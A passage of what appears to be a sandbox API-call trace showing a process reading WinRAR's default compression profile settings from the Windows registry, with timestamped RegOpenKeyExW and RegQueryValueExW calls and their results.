returned 0x0 [0053.242] RegQueryValueExW (in: hKey=0x180, lpValueName="ExclNames", lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x189940*=0x0 | out: lpType=0x0, lpData=0x0, lpcbData=0x189940*=0x2) returned 0x0 [0053.242] RegCloseKey (hKey=0x180) returned 0x0 [0053.243] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x0, Size=0x16) returned 0x1d6870 [0053.243] GetLastError () returned 0x5b0 [0053.243] SetLastError (dwErrCode=0x5b0) [0053.243] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\0", ulOptions=0x0, samDesired=0x9, phkResult=0x189470 | out: phkResult=0x189470*=0x180) returned 0x0 [0053.243] RegQueryValueExW (in: hKey=0x180, lpValueName="ExclNames", lpReserved=0x0, lpType=0x1898d4, lpData=0x1d6870, lpcbData=0x1898d0*=0x16 | out: lpType=0x1898d4*=0x1, lpData="", lpcbData=0x1898d0*=0x2) returned 0x0 [0053.243] RegCloseKey (hKey=0x180) returned 0x0 [0053.243] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1d6870 | out: hHeap=0x1b0000) returned 1 [0053.243] GetLastError () returned 0x5b0 [0053.243] SetLastError (dwErrCode=0x5b0) [0053.243] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\0", ulOptions=0x0, samDesired=0x9, phkResult=0x1894e0 | out: phkResult=0x1894e0*=0x180) returned 0x0 [0053.243] RegQueryValueExW (in: hKey=0x180, lpValueName="StoreNames", lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x189940*=0x2 | out: lpType=0x0, lpData=0x0, lpcbData=0x189940*=0x2) returned 0x0 [0053.243] RegCloseKey (hKey=0x180) returned 0x0 [0053.243] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x0, Size=0x414) returned 0x1ecc20 [0053.243] GetLastError () returned 0x5b0 [0053.243] SetLastError (dwErrCode=0x5b0) [0053.243] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\0", ulOptions=0x0, samDesired=0x9, phkResult=0x189470 | out: phkResult=0x189470*=0x180) returned 0x0 [0053.243] RegQueryValueExW (in: hKey=0x180, lpValueName="StoreNames", lpReserved=0x0, lpType=0x1898d4, lpData=0x1ecc20, lpcbData=0x1898d0*=0x414 | out: lpType=0x1898d4*=0x1, lpData="", lpcbData=0x1898d0*=0x2) returned 0x0 [0053.243] RegCloseKey (hKey=0x180) returned 0x0 [0053.243] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1ecc20 | out: hHeap=0x1b0000) returned 1 [0053.243] GetLastError () returned 0x5b0 [0053.243] SetLastError (dwErrCode=0x5b0) [0053.243] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\0", ulOptions=0x0, samDesired=0x9, phkResult=0x189d00 | out: phkResult=0x189d00*=0x180) returned 0x0 [0053.243] RegQueryValueExW (in: hKey=0x180, lpValueName="Default", lpReserved=0x0, lpType=0x18a164, lpData=0x18a160, lpcbData=0x18a198*=0x4 | out: lpType=0x18a164*=0x4, lpData=0x18a160*=0x1, lpcbData=0x18a198*=0x4) returned 0x0 [0053.243] RegCloseKey (hKey=0x180) returned 0x0 [0053.243] GetLastError () returned 0x5b0 [0053.243] SetLastError (dwErrCode=0x5b0) [0053.243] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\0", ulOptions=0x0, samDesired=0x9, phkResult=0x189d00 | out: phkResult=0x189d00*=0x180) returned 0x0 [0053.243] RegQueryValueExW (in: hKey=0x180, lpValueName="UseRAR", lpReserved=0x0, lpType=0x18a164, lpData=0x18a160, lpcbData=0x18a198*=0x4 | out: lpType=0x18a164*=0x4, lpData=0x18a160*=0x1, lpcbData=0x18a198*=0x4) returned 0x0 [0053.243] RegCloseKey (hKey=0x180) returned 0x0 [0053.244] GetLastError () returned 0x5b0 [0053.244] SetLastError (dwErrCode=0x5b0) [0053.244] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\0", ulOptions=0x0, samDesired=0x9, phkResult=0x189d00 | out: phkResult=0x189d00*=0x180) returned 0x0 [0053.244] RegQueryValueExW (in: hKey=0x180, lpValueName="RAR5", lpReserved=0x0, lpType=0x18a164, lpData=0x18a160, lpcbData=0x18a198*=0x4 | out: lpType=0x18a164*=0x4, lpData=0x18a160*=0x1, lpcbData=0x18a198*=0x4) returned 0x0 [0053.244] RegCloseKey (hKey=0x180) returned 0x0 [0053.244] GetLastError () returned 0x5b0 [0053.244] SetLastError (dwErrCode=0x5b0) [0053.244] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\0", ulOptions=0x0, samDesired=0x9, phkResult=0x189470 | out: phkResult=0x189470*=0x180) returned 0x0 [0053.244] RegQueryValueExW (in: hKey=0x180, lpValueName="SFXModule", lpReserved=0x0, lpType=0x1898d4, lpData=0x13f2b5658, lpcbData=0x1898d0*=0x1000 | out: lpType=0x1898d4*=0x1, lpData="", lpcbData=0x1898d0*=0x2) returned 0x0 [0053.244] RegCloseKey (hKey=0x180) returned 0x0 [0053.244] GetLastError () returned 0x5b0 [0053.244] SetLastError (dwErrCode=0x5b0) [0053.244] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\0", ulOptions=0x0, samDesired=0x9, phkResult=0x189d00 | out: phkResult=0x189d00*=0x180) returned 0x0 [0053.244] RegQueryValueExW (in: hKey=0x180, lpValueName="SFX", lpReserved=0x0, lpType=0x18a164, lpData=0x18a160, lpcbData=0x18a198*=0x4 | out: lpType=0x18a164*=0x0, lpData=0x18a160*=0x0, lpcbData=0x18a198*=0x4) returned 0x2 [0053.244] RegCloseKey (hKey=0x180) returned 0x0 [0053.244] GetLastError () returned 0x5b0 [0053.244] SetLastError (dwErrCode=0x5b0) [0053.244] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\0", ulOptions=0x0, samDesired=0x9, phkResult=0x189470 | out: phkResult=0x189470*=0x180) returned 0x0 [0053.244] RegQueryValueExW (in: hKey=0x180, lpValueName="SFXIcon", lpReserved=0x0, lpType=0x1898d4, lpData=0x13f2bca62, lpcbData=0x1898d0*=0x1000 | out: lpType=0x1898d4*=0x1, lpData="", lpcbData=0x1898d0*=0x2) returned 0x0 [0053.244] RegCloseKey (hKey=0x180) returned 0x0 [0053.244] GetLastError () returned 0x5b0 [0053.244] SetLastError (dwErrCode=0x5b0) [0053.244] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\0", ulOptions=0x0, samDesired=0x9, phkResult=0x189470 | out: phkResult=0x189470*=0x180) returned 0x0 [0053.244] RegQueryValueExW (in: hKey=0x180, lpValueName="SFXLogo", lpReserved=0x0, lpType=0x1898d4, lpData=0x13f2bda62, lpcbData=0x1898d0*=0x1000 | out: lpType=0x1898d4*=0x1, lpData="", lpcbData=0x1898d0*=0x2) returned 0x0 [0053.244] RegCloseKey (hKey=0x180) returned 0x0 [0053.244] GetLastError () returned 0x5b0 [0053.244] SetLastError (dwErrCode=0x5b0) [0053.244] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\0", ulOptions=0x0, samDesired=0x9, phkResult=0x189d00 | out: phkResult=0x189d00*=0x180) returned 0x0 [0053.245] RegQueryValueExW (in: hKey=0x180, lpValueName="SFXElevate", lpReserved=0x0, lpType=0x18a164, lpData=0x18a160, lpcbData=0x18a198*=0x4 | out: lpType=0x18a164*=0x4, lpData=0x18a160*=0x0, lpcbData=0x18a198*=0x4) returned 0x0 [0053.245] RegCloseKey (hKey=0x180) returned 0x0 [0053.245] GetLastError () returned 0x5b0 [0053.245] SetLastError (dwErrCode=0x5b0) [0053.245] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\0", ulOptions=0x0, samDesired=0x9, phkResult=0x189470 | out: phkResult=0x189470*=0x180) returned 0x0 [0053.245] RegQueryValueExW (in: hKey=0x180, lpValueName="CmtFile", lpReserved=0x0, lpType=0x1898d4, lpData=0x13f2b765e, lpcbData=0x1898d0*=0x1000 | out: lpType=0x1898d4*=0x1, lpData="", lpcbData=0x1898d0*=0x2) returned 0x0 [0053.245] RegCloseKey (hKey=0x180) returned 0x0 [0053.245] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x0, Size=0x20000) returned 0x26a130 [0053.247] GetLastError () returned 0x5b0 [0053.247] SetLastError (dwErrCode=0x5b0) [0053.247] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\0", ulOptions=0x0, samDesired=0x9, phkResult=0x189470 | out: phkResult=0x189470*=0x180) returned 0x0 [0053.247] RegQueryValueExW (in: hKey=0x180, lpValueName="CmtDataWide", lpReserved=0x0, lpType=0x1898d4, lpData=0x26a130, lpcbData=0x1898d0*=0x20000 | out: lpType=0x1898d4*=0x3, lpData=0x26a130*, lpcbData=0x1898d0*=0x2) returned 0x0 [0053.247] RegCloseKey (hKey=0x180) returned 0x0 [0053.247] GetLastError () returned 0x5b0 [0053.247] SetLastError (dwErrCode=0x5b0) [0053.247] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\0", ulOptions=0x0, samDesired=0x9, phkResult=0x189470 | out: phkResult=0x189470*=0x180) returned 0x0 [0053.247] RegQueryValueExW (in: hKey=0x180, lpValueName="CmtTextWide", lpReserved=0x0, lpType=0x1898d4, lpData=0x26a130, lpcbData=0x1898d0*=0x20000 | out: lpType=0x1898d4*=0x0, lpData=0x26a130*=0x0, lpcbData=0x1898d0*=0x20000) returned 0x2 [0053.247] RegCloseKey (hKey=0x180) returned 0x0 [0053.247] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x0, Size=0x10000) returned 0x28a140 [0053.248] GetLastError () returned 0x5b0 [0053.248] SetLastError (dwErrCode=0x5b0) [0053.248] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\0", ulOptions=0x0, samDesired=0x9, phkResult=0x189470 | out: phkResult=0x189470*=0x180) returned 0x0 [0053.248] RegQueryValueExW (in: hKey=0x180, lpValueName="CmtTextData", lpReserved=0x0, lpType=0x1898d4, lpData=0x28a140, lpcbData=0x1898d0*=0x10000 | out: lpType=0x1898d4*=0x0, lpData=0x28a140*=0x0, lpcbData=0x1898d0*=0x10000) returned 0x2 [0053.248] RegCloseKey (hKey=0x180) returned 0x0 [0053.248] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x28a140, cbMultiByte=-1, lpWideCharStr=0x26a130, cchWideChar=65536 | out: lpWideCharStr="") returned 1 [0053.248] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x28a140 | out: hHeap=0x1b0000) returned 1 [0053.248] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x26a130 | out: hHeap=0x1b0000) returned 1 [0053.248] GetLastError () returned 0x5b0 [0053.248] SetLastError (dwErrCode=0x5b0) [0053.248] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\0", ulOptions=0x0, samDesired=0x9, phkResult=0x189470 | out: phkResult=0x189470*=0x180) returned 0x0 [0053.248] RegQueryValueExW (in: hKey=0x180, lpValueName="VolumeSize", lpReserved=0x0, lpType=0x1898d4, lpData=0x18a320, lpcbData=0x1898d0*=0x64 | out: lpType=0x1898d4*=0x1, lpData="0", lpcbData=0x1898d0*=0x4) returned 0x0 [0053.248] RegCloseKey (hKey=0x180) returned 0x0 [0053.248] GetLastError () returned 0x5b0 [0053.248] SetLastError (dwErrCode=0x5b0) [0053.248] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\0", ulOptions=0x0, samDesired=0x9, phkResult=0x189d00 | out: phkResult=0x189d00*=0x180) returned 0x0 [0053.248] RegQueryValueExW (in: hKey=0x180, lpValueName="VolSizeMod", lpReserved=0x0, lpType=0x18a164, lpData=0x18a160, lpcbData=0x18a198*=0x4 | out: lpType=0x18a164*=0x4, lpData=0x18a160*=0x2, lpcbData=0x18a198*=0x4) returned 0x0 [0053.248] RegCloseKey (hKey=0x180) returned 0x0 [0053.248] GetLastError () returned 0x5b0 [0053.248] SetLastError (dwErrCode=0x5b0) [0053.249] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\0", ulOptions=0x0, samDesired=0x9, phkResult=0x189d00 | out: phkResult=0x189d00*=0x180) returned 0x0 [0053.249] RegQueryValueExW (in: hKey=0x180, lpValueName="VolPause", lpReserved=0x0, lpType=0x18a164, lpData=0x18a160, lpcbData=0x18a198*=0x4 | out: lpType=0x18a164*=0x4, lpData=0x18a160*=0x0, lpcbData=0x18a198*=0x4) returned 0x0 [0053.249] RegCloseKey (hKey=0x180) returned 0x0 [0053.249] GetLastError () returned 0x5b0 [0053.249] SetLastError (dwErrCode=0x5b0) [0053.249] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\0", ulOptions=0x0, samDesired=0x9, phkResult=0x189d00 | out: phkResult=0x189d00*=0x180) returned 0x0 [0053.249] RegQueryValueExW (in: hKey=0x180, lpValueName="OldVolNames", lpReserved=0x0, lpType=0x18a164, lpData=0x18a160, lpcbData=0x18a198*=0x4 | out: lpType=0x18a164*=0x4, lpData=0x18a160*=0x0, lpcbData=0x18a198*=0x4) returned 0x0 [0053.249] RegCloseKey (hKey=0x180) returned 0x0 [0053.249] GetLastError () returned 0x5b0 [0053.249] SetLastError (dwErrCode=0x5b0) [0053.249] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\0", ulOptions=0x0, samDesired=0x9, phkResult=0x189d00 | out: phkResult=0x189d00*=0x180) returned 0x0 [0053.249] RegQueryValueExW (in: hKey=0x180, lpValueName="RecVolNumber", lpReserved=0x0, lpType=0x18a164, lpData=0x18a160, lpcbData=0x18a198*=0x4 | out: lpType=0x18a164*=0x4, lpData=0x18a160*=0x0, lpcbData=0x18a198*=0x4) returned 0x0 [0053.249] RegCloseKey (hKey=0x180) returned 0x0 [0053.249] GetLastError () returned 0x5b0 [0053.249] SetLastError (dwErrCode=0x5b0) [0053.249] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\0", ulOptions=0x0, samDesired=0x9, phkResult=0x189d00 | out: phkResult=0x189d00*=0x180) returned 0x0 [0053.249] RegQueryValueExW (in: hKey=0x180, lpValueName="Update", lpReserved=0x0, lpType=0x18a164, lpData=0x18a160, lpcbData=0x18a198*=0x4 | out: lpType=0x18a164*=0x4, lpData=0x18a160*=0x0, lpcbData=0x18a198*=0x4) returned 0x0 [0053.249] RegCloseKey (hKey=0x180) returned 0x0 [0053.249] GetLastError () returned 0x5b0 [0053.249] SetLastError (dwErrCode=0x5b0) [0053.249] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\0", ulOptions=0x0, samDesired=0x9, phkResult=0x189d00 | out: phkResult=0x189d00*=0x180) returned 0x0 [0053.249] RegQueryValueExW (in: hKey=0x180, lpValueName="Fresh", lpReserved=0x0, lpType=0x18a164, lpData=0x18a160, lpcbData=0x18a198*=0x4 | out: lpType=0x18a164*=0x4, lpData=0x18a160*=0x0, lpcbData=0x18a198*=0x4) returned 0x0 [0053.249] RegCloseKey (hKey=0x180) returned 0x0 [0053.249] GetLastError () returned 0x5b0 [0053.249] SetLastError (dwErrCode=0x5b0) [0053.249] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\0", ulOptions=0x0, samDesired=0x9, phkResult=0x189d00 | out: phkResult=0x189d00*=0x180) returned 0x0 [0053.249] RegQueryValueExW (in: hKey=0x180, lpValueName="SyncFiles", lpReserved=0x0, lpType=0x18a164, lpData=0x18a160, lpcbData=0x18a198*=0x4 | out: lpType=0x18a164*=0x4, lpData=0x18a160*=0x0, lpcbData=0x18a198*=0x4) returned 0x0 [0053.249] RegCloseKey (hKey=0x180) returned 0x0 [0053.250] GetLastError () returned 0x5b0 [0053.250] SetLastError (dwErrCode=0x5b0) [0053.250] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\0", ulOptions=0x0, samDesired=0x9, phkResult=0x189d00 | out: phkResult=0x189d00*=0x180) returned 0x0 [0053.250] RegQueryValueExW (in: hKey=0x180, lpValueName="Overwrite", lpReserved=0x0, lpType=0x18a164, lpData=0x18a160, lpcbData=0x18a198*=0x4 | out: lpType=0x18a164*=0x4, lpData=0x18a160*=0x0, lpcbData=0x18a198*=0x4) returned 0x0 [0053.250] RegCloseKey (hKey=0x180) returned 0x0 [0053.250] GetLastError () returned 0x5b0 [0053.250] SetLastError (dwErrCode=0x5b0) [0053.250] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\0", ulOptions=0x0, samDesired=0x9, phkResult=0x189d00 | out: phkResult=0x189d00*=0x180) returned 0x0 [0053.250] RegQueryValueExW (in: hKey=0x180, lpValueName="Move", lpReserved=0x0, lpType=0x18a164, lpData=0x18a160, lpcbData=0x18a198*=0x4 | out: lpType=0x18a164*=0x4, lpData=0x18a160*=0x0, lpcbData=0x18a198*=0x4) returned 0x0 [0053.250] RegCloseKey (hKey=0x180) returned 0x0 [0053.250] GetLastError () returned 0x5b0 [0053.250] SetLastError (dwErrCode=0x5b0) [0053.250] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\0", ulOptions=0x0, samDesired=0x9, phkResult=0x189d00 | out: phkResult=0x189d00*=0x180) returned 0x0 [0053.250] RegQueryValueExW (in: hKey=0x180, lpValueName="ArcRecBin", lpReserved=0x0, lpType=0x18a164, lpData=0x18a160, lpcbData=0x18a198*=0x4 | out: lpType=0x18a164*=0x4, lpData=0x18a160*=0x0, lpcbData=0x18a198*=0x4) returned 0x0 [0053.250] RegCloseKey (hKey=0x180) returned 0x0 [0053.250] GetLastError () returned 0x5b0 [0053.250] SetLastError (dwErrCode=0x5b0) [0053.250] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\0", ulOptions=0x0, samDesired=0x9, phkResult=0x189d00 | out: phkResult=0x189d00*=0x180) returned 0x0 [0053.250] RegQueryValueExW (in: hKey=0x180, lpValueName="ArcWipe", lpReserved=0x0, lpType=0x18a164, lpData=0x18a160, lpcbData=0x18a198*=0x4 | out: lpType=0x18a164*=0x4, lpData=0x18a160*=0x0, lpcbData=0x18a198*=0x4) returned 0x0 [0053.250] RegCloseKey (hKey=0x180) returned 0x0 [0053.250] GetLastError () returned 0x5b0 [0053.250] SetLastError (dwErrCode=0x5b0) [0053.250] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\0", ulOptions=0x0, samDesired=0x9, phkResult=0x189d00 | out: phkResult=0x189d00*=0x180) returned 0x0 [0053.250] RegQueryValueExW (in: hKey=0x180, lpValueName="WipeIfPassword", lpReserved=0x0, lpType=0x18a164, lpData=0x18a160, lpcbData=0x18a198*=0x4 | out: lpType=0x18a164*=0x4, lpData=0x18a160*=0x0, lpcbData=0x18a198*=0x4) returned 0x0 [0053.250] RegCloseKey (hKey=0x180) returned 0x0 [0053.250] GetLastError () returned 0x5b0 [0053.250] SetLastError (dwErrCode=0x5b0) [0053.250] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\0", ulOptions=0x0, samDesired=0x9, phkResult=0x189d00 | out: phkResult=0x189d00*=0x180) returned 0x0 [0053.251] RegQueryValueExW (in: hKey=0x180, lpValueName="Solid", lpReserved=0x0, lpType=0x18a164, lpData=0x18a160, lpcbData=0x18a198*=0x4 | out: lpType=0x18a164*=0x4, lpData=0x18a160*=0x0, lpcbData=0x18a198*=0x4) returned 0x0 [0053.251] RegCloseKey (hKey=0x180) returned 0x0 [0053.251] GetLastError () returned 0x5b0 [0053.251] SetLastError (dwErrCode=0x5b0) [0053.251] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\0", ulOptions=0x0, samDesired=0x9, phkResult=0x189d00 | out: phkResult=0x189d00*=0x180) returned 0x0 [0053.251] RegQueryValueExW (in: hKey=0x180, lpValueName="Test", lpReserved=0x0, lpType=0x18a164, lpData=0x18a160, lpcbData=0x18a198*=0x4 | out: lpType=0x18a164*=0x4, lpData=0x18a160*=0x0, lpcbData=0x18a198*=0x4) returned 0x0 [0053.251] RegCloseKey (hKey=0x180) returned 0x0 [0053.251] GetLastError () returned 0x5b0 [0053.251] SetLastError (dwErrCode=0x5b0) [0053.251] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\0", ulOptions=0x0, samDesired=0x9, phkResult=0x189d00 | out: phkResult=0x189d00*=0x180) returned 0x0 [0053.251] RegQueryValueExW (in: hKey=0x180, lpValueName="RecEnabled", lpReserved=0x0, lpType=0x18a164, lpData=0x18a160, lpcbData=0x18a198*=0x4 | out: lpType=0x18a164*=0x4, lpData=0x18a160*=0x0, lpcbData=0x18a198*=0x4) returned 0x0 [0053.251] RegCloseKey (hKey=0x180) returned 0x0 [0053.251] GetLastError () returned 0x5b0 [0053.251] SetLastError (dwErrCode=0x5b0) [0053.251] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\0", ulOptions=0x0, samDesired=0x9, phkResult=0x189d00 | out: phkResult=0x189d00*=0x180) returned 0x0 [0053.251] RegQueryValueExW (in: hKey=0x180, lpValueName="RecSize", lpReserved=0x0, lpType=0x18a164, lpData=0x18a160, lpcbData=0x18a198*=0x4 | out: lpType=0x18a164*=0x4, lpData=0x18a160*=0xfffffffd, lpcbData=0x18a198*=0x4) returned 0x0 [0053.251] RegCloseKey (hKey=0x180) returned 0x0 [0053.251] GetLastError () returned 0x5b0 [0053.251] SetLastError (dwErrCode=0x5b0) [0053.251] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\0", ulOptions=0x0, samDesired=0x9, phkResult=0x189d00 | out: phkResult=0x189d00*=0x180) returned 0x0 [0053.251] RegQueryValueExW (in: hKey=0x180, lpValueName="Recovery", lpReserved=0x0, lpType=0x18a164, lpData=0x18a160, lpcbData=0x18a198*=0x4 | out: lpType=0x18a164*=0x0, lpData=0x18a160*=0x0, lpcbData=0x18a198*=0x4) returned 0x2 [0053.251] RegCloseKey (hKey=0x180) returned 0x0 [0053.251] GetLastError () returned 0x5b0 [0053.251] SetLastError (dwErrCode=0x5b0) [0053.251] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\0", ulOptions=0x0, samDesired=0x9, phkResult=0x189d00 | out: phkResult=0x189d00*=0x180) returned 0x0 [0053.251] RegQueryValueExW (in: hKey=0x180, lpValueName="EraseDest", lpReserved=0x0, lpType=0x18a164, lpData=0x18a160, lpcbData=0x18a198*=0x4 | out: lpType=0x18a164*=0x4, lpData=0x18a160*=0x0, lpcbData=0x18a198*=0x4) returned 0x0 [0053.251] RegCloseKey (hKey=0x180) returned 0x0 [0053.251] GetLastError () returned 0x5b0 [0053.252] SetLastError (dwErrCode=0x5b0) [0053.252] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\0", ulOptions=0x0, samDesired=0x9, phkResult=0x189d00 | out: phkResult=0x189d00*=0x180) returned 0x0 [0053.252] RegQueryValueExW (in: hKey=0x180, lpValueName="AddArcOnly", lpReserved=0x0, lpType=0x18a164, lpData=0x18a160, lpcbData=0x18a198*=0x4 | out: lpType=0x18a164*=0x4, lpData=0x18a160*=0x0, lpcbData=0x18a198*=0x4) returned 0x0 [0053.252] RegCloseKey (hKey=0x180) returned 0x0 [0053.252] GetLastError () returned 0x5b0 [0053.252] SetLastError (dwErrCode=0x5b0) [0053.252] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\0", ulOptions=0x0, samDesired=0x9, phkResult=0x189d00 | out: phkResult=0x189d00*=0x180) returned 0x0 [0053.252] RegQueryValueExW (in: hKey=0x180, lpValueName="ClearArc", lpReserved=0x0, lpType=0x18a164, lpData=0x18a160, lpcbData=0x18a198*=0x4 | out: lpType=0x18a164*=0x4, lpData=0x18a160*=0x0, lpcbData=0x18a198*=0x4) returned 0x0 [0053.252] RegCloseKey (hKey=0x180) returned 0x0 [0053.252] GetLastError () returned 0x5b0 [0053.252] SetLastError (dwErrCode=0x5b0) [0053.252] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\0", ulOptions=0x0, samDesired=0x9, phkResult=0x189d00 | out: phkResult=0x189d00*=0x180) returned 0x0 [0053.252] RegQueryValueExW (in: hKey=0x180, lpValueName="Lock", lpReserved=0x0, lpType=0x18a164, lpData=0x18a160, lpcbData=0x18a198*=0x4 | out: lpType=0x18a164*=0x4, lpData=0x18a160*=0x0, lpcbData=0x18a198*=0x4) returned 0x0 [0053.252] RegCloseKey (hKey=0x180) returned 0x0 [0053.252] GetLastError () returned 0x5b0 [0053.252] SetLastError (dwErrCode=0x5b0) [0053.252] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\0", ulOptions=0x0, samDesired=0x9, phkResult=0x189d00 | out: phkResult=0x189d00*=0x180) returned 0x0 [0053.252] RegQueryValueExW (in: hKey=0x180, lpValueName="Method", lpReserved=0x0, lpType=0x18a164, lpData=0x18a160, lpcbData=0x18a198*=0x4 | out: lpType=0x18a164*=0x4, lpData=0x18a160*=0x3, lpcbData=0x18a198*=0x4) returned 0x0 [0053.252] RegCloseKey (hKey=0x180) returned 0x0 [0053.252] GetLastError () returned 0x5b0 [0053.252] SetLastError (dwErrCode=0x5b0) [0053.252] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\0", ulOptions=0x0, samDesired=0x9, phkResult=0x189d00 | out: phkResult=0x189d00*=0x180) returned 0x0 [0053.252] RegQueryValueExW (in: hKey=0x180, lpValueName="DictSizeLZ", lpReserved=0x0, lpType=0x18a164, lpData=0x18a160, lpcbData=0x18a198*=0x4 | out: lpType=0x18a164*=0x4, lpData=0x18a160*=0x400000, lpcbData=0x18a198*=0x4) returned 0x0 [0053.252] RegCloseKey (hKey=0x180) returned 0x0 [0053.252] GetLastError () returned 0x5b0 [0053.252] SetLastError (dwErrCode=0x5b0) [0053.252] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\0", ulOptions=0x0, samDesired=0x9, phkResult=0x189d00 | out: phkResult=0x189d00*=0x180) returned 0x0 [0053.252] RegQueryValueExW (in: hKey=0x180, lpValueName="DictSize", lpReserved=0x0, lpType=0x18a164, lpData=0x18a160, lpcbData=0x18a198*=0x4 | out: lpType=0x18a164*=0x4, lpData=0x18a160*=0x2000000, lpcbData=0x18a198*=0x4) returned 0x0 [0053.253] RegCloseKey (hKey=0x180) returned 0x0 [0053.253] GetLastError () returned 0x5b0 [0053.253] SetLastError (dwErrCode=0x5b0) [0053.253] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\0", ulOptions=0x0, samDesired=0x9, phkResult=0x189470 | out: phkResult=0x189470*=0x180) returned 0x0 [0053.253] RegQueryValueExW (in: hKey=0x180, lpValueName="Name", lpReserved=0x0, lpType=0x1898d4, lpData=0x18a430, lpcbData=0x1898d0*=0x200 | out: lpType=0x1898d4*=0x1, lpData="Default Profile", lpcbData=0x1898d0*=0x20) returned 0x0 [0053.253] RegCloseKey (hKey=0x180) returned 0x0 [0053.253] GetLastError () returned 0x5b0 [0053.253] SetLastError (dwErrCode=0x5b0) [0053.253] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\0", ulOptions=0x0, samDesired=0x9, phkResult=0x187e70 | out: phkResult=0x187e70*=0x180) returned 0x0 [0053.253] RegQueryValueExW (in: hKey=0x180, lpValueName="PasswordData", lpReserved=0x0, lpType=0x1882d4, lpData=0x189f30, lpcbData=0x1882d0*=0x200 | out: lpType=0x1882d4*=0x3, lpData=0x189f30*, lpcbData=0x1882d0*=0x1) returned 0x0 [0053.253] RegCloseKey (hKey=0x180) returned 0x0 [0053.253] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x0, Size=0x200) returned 0x1ecc20 [0053.253] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1ecc20 | out: hHeap=0x1b0000) returned 1 [0053.253] GetLastError () returned 0x5b0 [0053.253] SetLastError (dwErrCode=0x5b0) [0053.253] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\0", ulOptions=0x0, samDesired=0x9, phkResult=0x188700 | out: phkResult=0x188700*=0x180) returned 0x0 [0053.253] RegQueryValueExW (in: hKey=0x180, lpValueName="EncryptHeaders", lpReserved=0x0, 